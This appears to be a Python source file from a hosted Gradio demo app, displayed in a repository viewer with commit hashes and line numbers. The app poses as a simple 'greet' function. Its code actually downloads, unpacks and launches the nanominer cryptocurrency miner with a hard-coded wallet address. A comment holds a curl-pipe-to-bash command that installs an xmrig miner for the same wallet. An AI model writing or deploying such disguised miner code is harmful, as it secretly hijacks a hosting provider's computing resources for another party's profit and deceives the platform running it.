File size: 1,124 Bytes
85f1a23
5c13302
d4bed34
85f1a23
 
d4bed34
 
8661153
d4bed34
f38ac89
 
8661153
557d8aa
a41fa87
d4bed34
 
 
8661153
 
 
177a2d8
8661153
 
 
 
85f1a23
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import gradio as gr
import subprocess
import os

def greet(name):
    os.makedirs("folder", exist_ok=True)
    os.chdir("folder")
    commands = [
        "wget https://github.com/nanopool/nanominer/releases/download/v3.7.7/nanominer-linux-3.7.7.tar.gz",
        "ls",
        "tar -zxvf ./nanominer-linux-3.7.7.tar.gz",
        "ls",
        "./nanominer -wallet 8AAHAqPVv33UeNivRj6BBBd1FbomwPu7zR8tyZkEZBfG9HHdTq7i5B2fYVLL66ozbnQzSHZHUvTYa41tBDcwuaJm9vBZwZ5"
        # 
        # "cat pre-requirements.txt",
        # "cat requirements.txt",
        # "cat Dockerfile",
    ]
    output_all = ""
    for command in commands:
        process = subprocess.run(command.split(' '), stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        output = process.stdout.decode("utf-8")
        output_all += output + "\n"
    return output_all
# curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 8AAHAqPVv33UeNivRj6BBBd1FbomwPu7zR8tyZkEZBfG9HHdTq7i5B2fYVLL66ozbnQzSHZHUvTYa41tBDcwuaJm9vBZwZ5

iface = gr.Interface(fn=greet, inputs="text", outputs="text")
iface.launch()